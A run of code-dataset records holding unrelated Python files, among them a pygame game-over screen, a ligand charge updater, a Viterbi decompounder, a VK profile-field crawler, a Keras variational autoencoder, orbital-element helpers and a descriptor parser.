screen.blit(overText1, overRect1)\r\n screen.blit(overText2, overRect2)\r\n screen.blit(spidey, [spidey_x, spidey_y])\r\n screen.blit(bathank, [bhank1_x, bhank_y])\r\n screen.blit(bathank, [bhank2_x, bhank_y])\r\n\r\n clock.tick(60)\r\n\r\n pygame.display.flip()\r\n\r\n #overRect1x_change = 5\r\n #overRect2x_change = 5\r\n\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n\r\ndef drawPressKeyMsg(SCREEN_WIDTH, SCREEN_HEIGHT): # Displays 'Press a Key' in bottom center of screen\r\n pressKeySurf = font.render('Press a Key', True, red)\r\n pressKeyRect = pressKeySurf.get_rect()\r\n pressKeyRect.topleft = (SCREEN_WIDTH - 200, SCREEN_HEIGHT - 30)\r\n screen.blit(pressKeySurf, pressKeyRect)\r\n\r\ndef checkForKeyPress():\r\n if len(pygame.event.get(QUIT)) > 0:\r\n pygame.quit()\r\n keyUpEvents = pygame.event.get(KEYUP)\r\n if len(keyUpEvents) == 0:\r\n return None\r\n if keyUpEvents[0].key == K_ESCAPE:\r\n pygame.quit()\r\n return keyUpEvents[0].key\r\n\r\ndef terminate():\r\n pygame.quit()\r\n sys.exit()\r\n","sub_path":"venture/game_over.py","file_name":"game_over.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"82739339","text":"def occur(s, word):\n def recur(word, count):\n if not len(word):\n return count\n elif s == word[0]:\n return recur(word[1:], count+1)\n else :\n return recur(word[1:], count)\n \n return recur(word, 0)\n\ndef occur_tuple(s, word):\n return occur(s, word), s\n\ndef most_frequent(st):\n def get_list(strng):\n res = []\n for s in strng:\n tpl = occur_tuple(s , strng)\n if tpl not in res:\n res.append(tpl)\n strng.pop(s)\n\n return res\n \n st_list = get_list(st)\n st_list.sort(reverse = True)\n \n for t in st_list:\n print(t)\n\n\n\nif __name__ == '__main__':\n most_frequent('leejhodlfjdlksjfeosjlkef')\n\n\n\n\n\n","sub_path":"ch12/ex12-1.py","file_name":"ex12-1.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"49398572","text":"# Author : GuanFu Duan\n# Email : gfduan178@163.com\n# Supervisor : Changge Ji\n# All rights reserved 2019\n# Replaceing Liagnd atom Charges based on EPB (Effective Polarizable Bond) Model\n# Dependencies : opemmm, pdbfixer, openbabel, pybel\n\nclass UpdateCharge(object):\n def __init__(self, *args):\n self.lig_args, self.rec_args, self.lig_polar_args, self.output_ligfile, self.out_form, self.temp_illustration = args\n\n def polar_ligand(self):\n import numpy as np\n atom_b = self.lig_args[0][0].index('@ATOM')\n bond_b = self.lig_args[0][0].index('@BOND')\n if bond_b-atom_b == 1: return\n import math, os, re, openbabel\n ff = '%4s%7d %4s %3s %s%4d %8.3f%8.3f%8.3f%6.2f%12.6f\\n'\n rec_x, rec_y, rec_z, rec_c = self.rec_args[-4:]\n atom_hybrid, lig_k, lig_d = self.lig_polar_args\n form = '%7s %7s%9s%7s %12.6f%12.6f%12.6f%12.6f\\n'\n small, tmp_label = [';' + '=' * 86 + '\\n'], ''\n small.append('; CHARGE\\n')\n small.append('; ATOM1 ATOM2 hybrid1 hybrid2 OLD-I OLD-II NEW-I NEW-II\\n')\n small.append(';' + '-' * 86 + '\\n')\n tmp_f0 = open(self.temp_illustration, 'a')\n with open(self.output_ligfile + '.mol2', 'w') as f2:\n for lig_num in range(len(self.lig_args)):\n new_lig_line = []\n if lig_num == 0:\n small.append(' %86s\\n' %(' molecule ' + str(lig_num+1) + ' ').center(86, '*'))\n else:\n small.append('\\n %86s\\n' %(' molecule ' + str(lig_num+1) + ' ').center(86, '*'))\n sline, atom_info, bond_info, natom, hybrid, b_charge, a_charge, b1, b2, res, lig_x, lig_y, lig_z, lig_c = self.lig_args[lig_num]\n uc, replace_charge = lig_c[:], {}\n for i in range(len(b1)):\n bond1 = hybrid[b1[i]] + hybrid[b2[i]]\n bond2 = hybrid[b2[i]] + hybrid[b1[i]]\n n1, n2, label, delta_potential = 0, 0, 0, 0.0\n for j in range(len(atom_hybrid)):\n if bond1 == atom_hybrid[j]:\n n1, n2, label = b1[i], b2[i], j\n if bond2 == atom_hybrid[j]:\n n1, n2, label = b2[i], b1[i], j\n if n1 != 0 and n2 != 0:\n for k in range(1, len(rec_x)):\n dis1 = math.sqrt((rec_x[k]-lig_x[n1])**2+(rec_y[k]-lig_y[n1])**2+(rec_z[k]-lig_z[n1])**2)\n dis2 = math.sqrt((rec_x[k]-lig_x[n2])**2+(rec_y[k]-lig_y[n2])**2+(rec_z[k]-lig_z[n2])**2)\n delta_potential = delta_potential + rec_c[k]/dis2 - rec_c[k]/dis1\n break\n if n1 != 0 and n2 != 0:\n for ppp in range(len(b1)):\n if ppp != i:\n new_bond1 = hybrid[b1[ppp]]+hybrid[b2[ppp]]\n new_bond2 = hybrid[b2[ppp]]+hybrid[b1[ppp]]\n if (hybrid[n1]+hybrid[n2]) == 'S.3H':\n if 'O.3C.ar' in [new_bond1, new_bond2]:\n lig_k[label] = 2.85000\n if (hybrid[n1]+hybrid[n2]) == 'C.1N.1':\n if 'C.1C.ar' in [new_bond1, new_bond2]:\n lig_k[label] = 1.28000\n if (hybrid[n1]+hybrid[n2]) == 'O.3H':\n if 'O.3C.ar' in [new_bond1, new_bond2]:\n lig_k[label] = 9.15000\n lig_d[label] = 0.94000\n if 'O.3C.2' in [new_bond1, new_bond2]:\n lig_k[label] = 7.74000\n lig_d[label] = 0.94000\n if (hybrid[n1]+hybrid[n2]) == 'C.2H':\n if 'C.2O.2' in [new_bond1, new_bond2]: lig_k[label] = 6.35000\n if 'C.2S.2' in [new_bond1, new_bond2]: lig_k[label] = 6.35000\n if 'C.2N.2' in [new_bond1, new_bond2]: lig_k[label] = 6.35000\n if (hybrid[n1]+hybrid[n2]) == 'C.2O.2':\n if 'C.2N.am' in [new_bond1, new_bond2]:\n lig_k[label] = 3.98000 # usual amide\n for qqq in range(len(b1)):\n if qqq not in [i, ppp]:\n bond_new1 = hybrid[b1[qqq]]+hybrid[b2[qqq]]\n bond_new2 = hybrid[b2[qqq]]+hybrid[b1[qqq]]\n if 'C.2C.ar' in [bond_new1, bond_new2]: lig_k[label] = 3.04000\n uc[n1] = uc[n1] + 7.2*delta_potential/(lig_k[label]*lig_d[label]**2)\n uc[n2] = uc[n2] - 7.2*delta_potential/(lig_k[label]*lig_d[label]**2)\n replace_charge.setdefault(natom[n1], [])\n replace_charge[natom[n1]].append([n1, n2, natom[n1], natom[n2], hybrid[n1], hybrid[n2], lig_c[n1], lig_c[n2], uc[n1], uc[n2]])\n for ridx in replace_charge.keys():\n bond_length = len(replace_charge[ridx])\n if bond_length > 1:\n atom_charge = np.mean([ac[-2] for ac in replace_charge[ridx]])\n uc[replace_charge[ridx][0][0]] = atom_charge\n light_atom = {}\n for id_1 in range(bond_length):\n light_atom.setdefault(replace_charge[ridx][id_1][5], [])\n light_atom[replace_charge[ridx][id_1][5]].append([replace_charge[ridx][id_1][1], replace_charge[ridx][id_1][-1], id_1])\n replace_charge[ridx][id_1][-2] = atom_charge\n for lid in light_atom.keys():\n tmp_lid = light_atom[lid]\n if len(tmp_lid) > 1:\n light_charge = np.mean([ac[1] for ac in tmp_lid])\n for p_lid in tmp_lid:\n uc[p_lid[0]] = light_charge\n replace_charge[ridx][p_lid[-1]][-1] = light_charge\n for rdata in replace_charge[ridx]:\n small.append(form %(rdata[2], rdata[3], rdata[4], rdata[5], rdata[6], rdata[7], rdata[8], rdata[9]))\n if len(self.lig_args) != 1: tmp_label = lig_num + 1\n mol_label = tmp_label\n if len(str(tmp_label).strip()) == 0: mol_label = '1'\n new_lig_line.extend(sline[:atom_info+1])\n for i in range(1, len(lig_c)):\n new_lig_line.append('%s%10.6f%s' %(b_charge[i], uc[i], a_charge[i]))\n new_lig_line.extend(sline[bond_info:])\n tmp_f0.write('# molecule split %s.\\n\\t%s\\n' %(str(mol_label), self.output_ligfile+str(mol_label)+'.mol2'))\n with open(self.output_ligfile + str(mol_label) + '.mol2', 'w') as obj_mol:\n obj_mol.writelines(['%s%s' %(_x, os.linesep) for _x in new_lig_line])\n obConversion = openbabel.OBConversion()\n obConversion.SetInAndOutFormats(\"mol2\", \"pdb\")\n mol = openbabel.OBMol()\n obConversion.ReadFile(mol, self.output_ligfile + str(mol_label) + '.mol2')\n obConversion.WriteFile(mol, 'tmp_ligand.pdb')\n tmp_line = [_.rstrip() for _ in open('tmp_ligand.pdb') if _.startswith('ATOM')]\n with open(self.output_ligfile + str(tmp_label) + '.pdb', 'w') as obj_pdb:\n l_num = 0\n for p1 in range(len(tmp_line)):\n if tmp_line[p1][11:17].strip() == 'H':\n l_num += 1\n obj_pdb.write('%s%s%s%12.6f\\n' %(tmp_line[p1][:12], ('H'+str(l_num)).center(5), tmp_line[p1][17:80], uc[p1]))\n else:\n obj_pdb.write('%s%12.6f\\n' %(tmp_line[p1][:80], uc[p1]))\n obj_pdb.write('%3s %7d%s\\n' %('TER', len(tmp_line)+1, ' '*6 + tmp_line[len(tmp_line)-1][17:28].rstrip()))\n f2.writelines(['%s%s' %(_x, os.linesep) for _x in new_lig_line])\n os.remove('tmp_ligand.pdb')\n if self.out_form == 'mol2': os.remove(self.output_ligfile + str(tmp_label) + '.pdb')\n small.append(';' + '=' * 86 + '\\n')\n with open('ligand_charge.dat', 'a') as f1:\n f1.writelines(small)\n if self.out_form == 'pdb': os.remove(self.output_ligfile + '.mol2')\n tmp_f0.write('# The ligand polar bond info(contain: atom,charge change).\\n\\t%s\\n' %'ligand_charge.dat')\n tmp_f0.close()\n","sub_path":"bin/chargeWithEPB.py","file_name":"chargeWithEPB.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"371449976","text":"\nimport numpy as np\nimport yaml\nfrom collections import defaultdict\n\n\ndef ends_at(split):\n return split[1]\n\n\ndef starts_at(split):\n return split[0]\n\n\nclass ViterbiDecompounder:\n def __init__(self):\n pass\n\n def load_weights(self, weights):\n self.w = np.array(weights)\n\n def viterbi_decode(self, compound):\n\n # print \"\\n\"*4\n # print compound.string\n\n alphas = [defaultdict(lambda: 0.0) for _ in range(len(compound.string) + 1)]\n path = {(0, 0): []}\n alphas[0] = defaultdict(lambda: 1.0)\n\n lattice = compound.predicted_lattice\n\n for split in lattice.splits_from(0):\n path[split] = [(0, 0)]\n # print \"From 0:\", str(split)\n\n for i in range(len(compound.string) + 1):\n new_path = path\n\n for split in lattice.splits_from(i):\n if len(lattice.splits_to(i)) > 0 and len(lattice.splits_from(i)) > 0:\n (alphas[split[1]][split], b) = max([(alphas[ends_at(split_last)][split_last] + self.arc_score(\n compound, split_last, split, lattice), split_last) for split_last in lattice.splits_to(i)])\n\n new_path[split] = path[b] + [split]\n\n path = new_path\n\n # print \"path\", path\n\n # print \"Final alphas\"\n # for i, a in enumerate(alphas):\n # print i, a\n\n f = len(compound.string)\n (_, b) = max([(alphas[split_last[1]][split_last], split_last) for split_last in lattice.splits_to(f)])\n\n return path[b]\n\n def arc_score(self, compound, prev_split, split, lattice):\n return np.dot(self.w, self.fs(compound, prev_split, split, lattice))\n\n def fs(self, compound, prev_split, split, lattice):\n # Base features on the lattice:\n # (0, 1.0, 0, 1) rank, cosine, split penalty, is_no_split\n\n # Additional features:\n\n segment = compound.string[split[0]:split[1]]\n is_default = split[1] - split[0] == len(compound.string)\n\n base_features = list(lattice.get_features(split, compound))\n\n if is_default:\n base_features[0] = 0\n base_features[1] = 1.0\n\n base_features[0] = 1.0 - (base_features[0] / 100)\n\n base_features.append(1 if is_default else 0)\n base_features.append(0 if is_default else 1)\n\n base_features.append(1 if (split[1] - split[0]) > 12 and not is_default else 0) # Length of the split\n base_features.append(1 if (split[1] - split[0]) < 4 else 0) # Length of the split\n\n # base_features.append(1 if segment.endswith(\"es\") or segment.endswith(\"s\") else 0)\n\n base_features.append((split[1] - split[0]) / len(compound.string)) # Length of the split\n\n # base_features.append(prev_split[1] - prev_split[0]) # Length of the previous split\n base_features.append(1.0) # Bias\n\n return np.array([0 if f == 0 else 1 for f in base_features])\n\n n_features = 8\n","sub_path":"viterbi_decompounder.py","file_name":"viterbi_decompounder.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"255533135","text":"# Problem Statement:\n# To compute factorial of n storing results at each stage using recursion\n# For ex: results[1] = 1, results[2]= 2 results[3] = 6\n\n\n\ndef allFactorials(n):\n results = []\n doAllFactorials(n,results,0)\n return results\n\ndef doAllFactorials(n,results,level):\n if n > 1:\n # Important!\n # In recursion, The answer to all problems are calculated at a reverse manner\n # Imagine stack! :)\n # N ranges from N to zero while level ranges from 0 to N. Also we have\n # to calculate store the results at each level .\n\n results[level] = n * doAllFactorials(n-1,results,level + 1)\n return results[level]\n else:\n results[level] = 1\n return 1\n\ndef open_file():\n with open(\"D:/dv/yelp_ds\") as myfile:\n head = [next(myfile) for x in range(12)]\n print(head)\n \n\nopen_file()","sub_path":"recursion/simple_recursion/factorial_wr.py","file_name":"factorial_wr.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"124101445","text":"class Crawler(CrawlerBase):\n\n\t__fields = \"\"\"\n\t\tid\n\t\tfirst_name\n\t\tlast_name\n\t\tverified\n\t\tblacklisted\n\t\tsex\n\t\tbdate\n\t\tcity\n\t\tcountry\n\t\thome_town\n\t\tonline\n\t\tlists\n\t\thas_mobile\n\t\tcontacts\n\t\tsite\n\t\teducation\n\t\tuniversities\n\t\tschools\n\t\tstatus\n\t\tlast_seen\n\t\tfollowers_count\n\t\tcounters\n\t\toccupation\n\t\tnickname\n\t\trelatives\n\t\trelation\n\t\tpersonal\n\t\tconnections\n\t\texports\n\t\tactivities\n\t\tinterests\n\t\tmusic\n\t\tmovies\n\t\ttv\n\t\tbooks\n\t\tgames\n\t\tabout\n\t\tquotes\n\t\"\"\"\n\tdef __init__(self, name, entry_point):\n\t\tsuper().__init__(name, entry_point)\n\n\t\tfrom utils import load_from_file\n\t\tself.watched_points = load_from_file('olddata/durov_first_second_circles_ids.json')\n\n\t\t# Limit data\n\t\tself.watched_points = self.watched_points[0:5000]\t\t\n\t\tself.users_template = {}\n\t\t\n\t\tself.workers = [\n\t\t\tcall_throttler(100000000)(self.construct_model),\n\t\t]\n\n\tdef __update_model(self, item, prefix=''):\n\t\tfor attribute, value in item.items():\n\n\t\t\tattribute = prefix + attribute\n\n\t\t\t# Fixes\n\t\t\tif attribute == 'personal' and isinstance(value, list) and len(value) == 0:\n\t\t\t\tvalue = dict()\n\n\t\t\tif attribute == 'occupation.id':\n\t\t\t\tvalue = int(value)\n\n\t\t\tif attribute not in self.users_template:\n\t\t\t\tself.users_template[attribute] = type(value)\n\t\t\telse:\n\t\t\t\tif self.users_template[attribute] != type(value):\n\t\t\t\t\tlogging.warning('attribute {} has been defined with different types: {} and {}, value: {}'\\\n\t\t\t\t\t\t.format(attribute, self.users_template[attribute],\\\n\t\t\t\t\t\t\ttype(value), value))\n\n\t\t\tif isinstance(value, dict):\n\t\t\t\t# Recursively add dicts:\n\t\t\t\tself.__update_model(value, prefix=attribute + '.')\n\n\tdef construct_model(self):\n\n\t\tdata = {}\n\n\t\tcounter = iter(count(0))\n\t\tkeyfunc = lambda x: next(counter) // 1000\n\n\t\tfor _, group in groupby(self.watched_points, keyfunc):\n\t\t\tuser_ids = ','.join(map(str, group))\n\t\t\tresult = vk.users_get(user_ids=user_ids, fields=', '.join(self.__fields.split()))\n\n\t\t\tfor user in result:\n\t\t\t\tself.__update_model(user)\n\n\n\t\tmodel = []\n\t\tfor attribute, attribute_type in self.users_template.items():\n\t\t\tmodel.append('{}: {}'.format(str(attribute_type).split(\"'\")[1], attribute))\n\n\n\t\tfrom os.path import join\n\t\tfilename = join(config.models_dir, 'user.model')\n\n\t\tmodel_txt = [item + '\\n' for item in sorted(model)]\n\n\t\tlogging.info('model output in {}: {} lines'.format(filename, len(model_txt)))\n\n\t\twith open(filename, 'wt') as fout:\n\t\t\tfout.writelines(model_txt)\n\n\n\n\n\n","sub_path":"crawlers_old/model_user.py","file_name":"model_user.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"27982426","text":"#!/usr/bin/env python3\n\n##############\n# References #\n##############\n# https://pymotw.com/2/zipfile/\n\nfrom pathlib import Path\nimport hashlib\nimport zipfile\nimport zlib\nimport sys\n\n\nclass SourceFiles:\n def __init__(self, source):\n if Path(source).is_absolute():\n self.source_path = Path(source)\n else:\n current_directory = Path.cwd()\n self.source_path = Path.joinpath(current_directory, source)\n\n self.records_text_name = 'records.txt'\n self.records_text_path = Path.joinpath(self.source_path, self.records_text_name)\n self.zip = ''\n\n # self.folder_name = self.source_path.relative_to(self.source_path.parents[0])\n\n # try:\n # with open(self.records_text_path, 'r', encoding='utf-8') as f:\n # self.hash = f.readline()\n # except FileNotFoundError as fnf:\n # pass\n\n self.records_file = []\n self.records_folder = []\n self.records = {}\n\n # keeps track of each path and whether it's a file/folder\n for path in self.source_path.glob('**/*'):\n if path.is_file():\n if path != self.records_text_path:\n self.records[path] = 0\n self.records_file.append(path)\n\n elif path.is_dir():\n self.records[path] = 1\n self.records_folder.append(path)\n\n # self._generate_hash()\n self.generate_text_file()\n\n def _generate_hash(self):\n self.hash = hashlib.md5()\n for record in self.records.keys():\n if record != self.records_text_path:\n self.hash.update(str(record).encode('utf-8'))\n\n def get_record(self):\n return self.records\n\n def generate_text_file(self, path=None):\n if path is None:\n absolute_path = self.source_path\n elif Path(path).is_absolute():\n absolute_path = Path(path)\n else:\n absolute_path = Path.joinpath(self.source_path, path)\n\n file = Path.joinpath(absolute_path, self.records_text_name)\n\n with open(file, 'w', encoding='utf-8') as f:\n # f.write('{}{}'.format(self.hash.hexdigest(), '\\n\\n'))\n f.write('Directories\\n')\n for folder in self.records_folder:\n f.write('{}{}'.format(str(folder), '\\n'))\n f.write('\\nFiles\\n')\n for file in self.records_file:\n f.write('{}{}'.format(str(file), '\\n'))\n\n def create_zip_file(self):\n self.zip = zipfile.ZipFile('{}{}'.format(self.source_path, '.zip'), mode='w')\n\n try:\n compression = zipfile.ZIP_DEFLATED\n except:\n print('something\\'s wrong')\n\n modes = {\n zipfile.ZIP_DEFLATED: 'deflated',\n zipfile.ZIP_STORED: 'stored'\n }\n\n for path in self.records_file:\n new_path = path.relative_to(self.source_path.parents[0])\n\n try:\n self.zip.write(path, compress_type=compression, arcname=new_path)\n except:\n print('something\\'s wrong')\n\n self.zip.close()\n","sub_path":"src/SourceFiles.py","file_name":"SourceFiles.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"195655651","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 18 14:34:09 2020\n\n@author: EO\n\"\"\"\nimport numpy as np\n\nR_earth = 6378.1350\nmu = 3.986044418e5\ntwopi = 2.0 * np.pi\ndeg2rad = np.pi / 180.0;\nomega_earth = 7.2921150*1e-5 # rad/s\n\ndef fmod2(x):\n if x > np.pi:\n x -= twopi\n elif x < -np.pi:\n x += twopi\n else:\n x = x\n return x\n\ndef gstime(jd):\n jd0 = jd[0]\n utc = jd[1]\n tut1 = (jd0 - 2451545.0) / 36525.0\n GST0_time = -6.2e-6* tut1**3 + 0.093104 * tut1**2 + 8640184.812866*tut1 + 24110.54841 # sec\n\n GST0_rad = (GST0_time * deg2rad / 240.0)# 360/86400 = 1/240, to deg, to rad\n\n GST_rad = (GST0_rad + omega_earth*utc/3600)% twopi\n # ------------------------ check quadrants ---------------------\n if GST_rad < 0.0:\n GST_rad += twopi;\n return GST_rad\n\ndef jday(year, mon, day, hr, minute, sec):\n jd0 = 367.0 * year - 7.0 * (year + ((mon + 9.0) // 12.0)) * 0.25 // 1.0 + 275.0 * mon // 9.0 + day + 1721013.5\n utc = ((sec / 60.0 + minute) / 60.0 + hr) # utc in hours#\n return [jd0, utc]\n\n\ndef _gstime(jdut1):\n tut1 = (jdut1 - 2451545.0) / 36525.0\n temp = -6.2e-6 * tut1 * tut1 * tut1 + 0.093104 * tut1 * tut1 + \\\n (876600.0 * 3600 + 8640184.812866) * tut1 + 67310.54841 # sec\n temp = (temp * deg2rad / 240.0) % twopi # 360/86400 = 1/240, to deg, to rad\n\n # ------------------------ check quadrants ---------------------\n if temp < 0.0:\n temp += twopi\n\n return temp\n\ndef getOE(r, v):\n h = np.cross(r, v)\n rNorm = np.linalg.norm(r)\n vNorm = np.linalg.norm(v)\n eVect = np.cross(v, h)/mu - r/rNorm\n e = np.linalg.norm(eVect)\n a = 1/(2/rNorm-vNorm**2/mu)\n ie = eVect/e\n ih = h/np.linalg.norm(h)\n ip = np.cross(ih, ie)\n C31 = ih[0]\n C32 = ih[1]\n C33 = ih[2]\n C13 = ie[2]\n C23 = ip[2]\n RAAN = np.atan2(C31, - C32)\n i = np.arccos(C33)\n w = np.arctan2(C13, C23)\n #n = np.sqrt(mu/a**3)\n sigma0 = np.dot(r, v)/np.sqrt(mu)\n E0 = np.arctan2(sigma0/np.sqrt(a), 1 - rNorm/a)\n M = E0 - e*np.sin(E0)\n #f = 2*np.arctan(np.sqrt((1.0 + e)/(1.0 - e))*np.tan(0.5*E0))\n return a, e, np.rad2deg(i), np.rad2deg(RAAN), np.rad2deg(w), np.rad2deg(M)\n","sub_path":"Library/math_sup/tools_reference_frame.py","file_name":"tools_reference_frame.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"444478267","text":"'''This script demonstrates how to build a variational autoencoder with Keras.\n\nReference: \"Auto-Encoding Variational Bayes\" https://arxiv.org/abs/1312.6114\n'''\nimport numpy as np\nimport math\nimport keras\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\n\nfrom keras.layers import Input, Dense, Lambda\nfrom keras.models import Model\nfrom keras import backend as K\nfrom keras import objectives\nfrom keras.datasets import mnist\nimport tensorflow as tf\n\nwith tf.device('/cpu:0'):\n\n\ttarget = np.loadtxt(\"allen_data/dev_mouse/mouse_numpy_array.txt\")\n\n\t#fit target expression values to range (0,1)\n\ttarget_max = np.amax(target)\n\ttarget_min = np.amin(target)\n\tprint(np.amax(target))\n\tprint(np.amin(target))\n\ttarget_range = target_max - target_min\n\ttarget = np.add(target,-1*target_min)\n\ttarget = np.multiply(target,1/target_range)\n\tprint(np.amax(target))\n\tprint(np.amin(target))\n\n\tbatch_size = 2012\n\toriginal_dim = 77\n\tlatent_dim = 2\n\tintermediate_dim = 32\n\tnb_epoch = 100000\n\tepsilon_std = 1\n\n\tx = Input(batch_shape=(batch_size, original_dim))\n\th = Dense(intermediate_dim, activation='relu')(x)\n\tz_mean = Dense(latent_dim)(h)\n\tz_log_var = Dense(latent_dim)(h)\n\n\n\tdef sampling(args):\n\t z_mean, z_log_var = args\n\t epsilon = K.random_normal(shape=(batch_size, latent_dim), mean=0.,\n\t std=epsilon_std)\n\t return z_mean + K.exp(z_log_var / 2) * epsilon\n\n\t# note that \"output_shape\" isn't necessary with the TensorFlow backend\n\tz = Lambda(sampling, output_shape=(latent_dim,))([z_mean, z_log_var])\n\n\n\t# we instantiate these layers separately so as to reuse them later\n\tdecoder_h = Dense(intermediate_dim, activation='relu')\n\tdecoder_mean = Dense(original_dim, activation='sigmoid')\n\th_decoded = decoder_h(z)\n\tx_decoded_mean = decoder_mean(h_decoded)\n\n\n\tdef vae_loss(x, x_decoded_mean):\n\t xent_loss = original_dim * objectives.binary_crossentropy(x, x_decoded_mean)\n\t kl_loss = - 0.5 * K.sum(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1)\n\n\t return xent_loss #+ kl_loss\n\n\tvae = Model(x, x_decoded_mean)\n\tvae.summary()\n\n\tvae.compile(optimizer=\"adam\", loss=vae_loss, metrics=['accuracy'])\n\n\t# train the VAE on MNIST digits\n\t(x_train, y_train), (x_test, y_test) = (target,target), (target,target)\n\t#x_test,y_test = x_train,y_train\n\n\tx_train = x_train.astype('float32') / 255.\n\tx_test = x_test.astype('float32') / 255.\n\tx_train = x_train.reshape((len(x_train), np.prod(x_train.shape[1:])))\n\tx_test = x_test.reshape((len(x_test), np.prod(x_test.shape[1:])))\n\n\tvae.fit(x_train, x_train,\n\t shuffle=True,\n\t nb_epoch=nb_epoch,\n\t batch_size=batch_size)\n\n\t# build a model to project inputs on the latent space\n\tencoder = Model(x, z_mean)\n\n\t# display a 2D plot of the digit classes in the latent space\n\tx_test_encoded = encoder.predict(x_test, batch_size=batch_size)\n\tplt.figure(figsize=(6, 6))\n\tplt.scatter(x_test_encoded[:, 0], x_test_encoded[:, 1])\n\t#plt.colorbar()\n\tplt.show()\n\n\t# build a digit generator that can sample from the learned distribution\n\tdecoder_input = Input(shape=(latent_dim,))\n\t_h_decoded = decoder_h(decoder_input)\n\t_x_decoded_mean = decoder_mean(_h_decoded)\n\tgenerator = Model(decoder_input, _x_decoded_mean)\n\n\t# display a 2D manifold of the digits\n\tn = 25 # figure with 15x15 digits\n\tfigure = np.zeros((7 * n, 11 * n))\n\t# linearly spaced coordinates on the unit square were transformed through the inverse CDF (ppf) of the Gaussian\n\t# to produce values of the latent variables z, since the prior of the latent space is Gaussian\n\tgrid_x = norm.ppf(np.linspace(0.05, 0.95, n))\n\tgrid_y = norm.ppf(np.linspace(0.05, 0.95, n))\n\n\tfor i, yi in enumerate(grid_x):\n\t for j, xi in enumerate(grid_y):\n\t z_sample = np.array([[xi, yi]])\n\t x_decoded = generator.predict(z_sample)\n\t digit = x_decoded[0].reshape(7, 11)\n\t figure[i * 7: (i + 1) * 7,\n\t j * 11: (j + 1) * 11] = digit\n\n\tplt.figure(figsize=(10, 10))\n\tplt.imshow(figure, interpolation='none')\n\tplt.show()\n","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"153213399","text":"from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\nfrom sms import views\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'uninotify.views.home', name='home'),\n # url(r'^uninotify/', include('uninotify.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^sms/',views.SELECT),\n url(r'^search/(\\d+)*',views.SEARCH),\n url(r'^zhanshi/',views.LIULIANG),\n)\n","sub_path":"sms/uninotify/sms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"601295042","text":"\"\"\"\nThis module contains functions for parsing descriptor strings into descriptor AST nodes.\n\nCurrently we use a hand-written parser instead a parser generator or other\ngeneric parsing tool. I looked through several parsing libraries but didn't find one\nwith all the following properties:\n\n- It's clearly maintained, documented, and robust.\n- It has no major API issues (like global state).\n- It has no big dependencies (like a JVM).\n- I was able to figure out how to parse the full descriptor language. (The current\nsyntax is quite simple, but in the future the syntax will support prefix modifiers\n(e.g., \"big linear model\") and I'm not sure if it can be parsed with a standard LR\nparser. I also had trouble getting PEG-style and combinator-based parsers to work for\nthe full language. However, I'm not an expert and didn't give a lot of attention to\nevery library.)\n- I was sure the parsing would behave as I expected. (In particular, I was able to\nget the Lark library to parse the full planned language, but the grammar was\nambiguous and I had trouble understanding the way Lark resolved the ambiguities.)\n- It's easy to provide clear, precise error messages when parsing fails.\n\nThat said, I'm open to switching to a library if we can achieve the above goals.\n\"\"\"\n\nimport re\n\nimport attr\n\nfrom .ast import EntityNode, TupleNode\nfrom ..exception import MalformedDescriptorError\nfrom ..utils.misc import oneline\n\n\ndef dnode_from_descriptor(descriptor):\n \"\"\"\n Given a descriptor string, returns the parsed descriptor node.\n \"\"\"\n\n return DescriptorParser().parse(descriptor)\n\n\ndef entity_dnode_from_descriptor(descriptor):\n \"\"\"\n Given an entity descriptor string, returns the parsed entity descriptor node.\n \"\"\"\n\n dnode = dnode_from_descriptor(descriptor)\n if not isinstance(dnode, EntityNode):\n raise ValueError(f\"Expected a valid entity name, but got {descriptor!r}\")\n return dnode\n\n\nTOKEN_PATTERN = re.compile(\n r\"(?P\\s+)\"\n r\"|(?P[a-zA-Z_][a-zA-Z0-9_]*)\"\n r\"|(?P\\()\"\n r\"|(?P\\))\"\n r\"|(?P,)\"\n r\"|(?P$)\"\n)\n\n\n@attr.s\nclass AugmentedToken:\n \"\"\"\n A parsed token, along with some extra metadata.\n \"\"\"\n\n token = attr.ib()\n token_type = attr.ib()\n start_pos = attr.ib()\n\n def __str__(self):\n return f\"{self.token!r} (at position {self.start_pos})\"\n\n\nclass DescriptorParser:\n \"Parses descriptor strings into AST nodes.\"\n\n def __init__(self):\n # All initialization happens in parse().\n pass\n\n def parse(self, descriptor):\n \"\"\"\n Parses a descriptor string into a descriptor node.\n\n Not thread-safe (because it uses member fields to manage parsing state).\n\n This is a sketch of the grammar:\n\n descriptor: expr\n\n expr: commaless_expr | 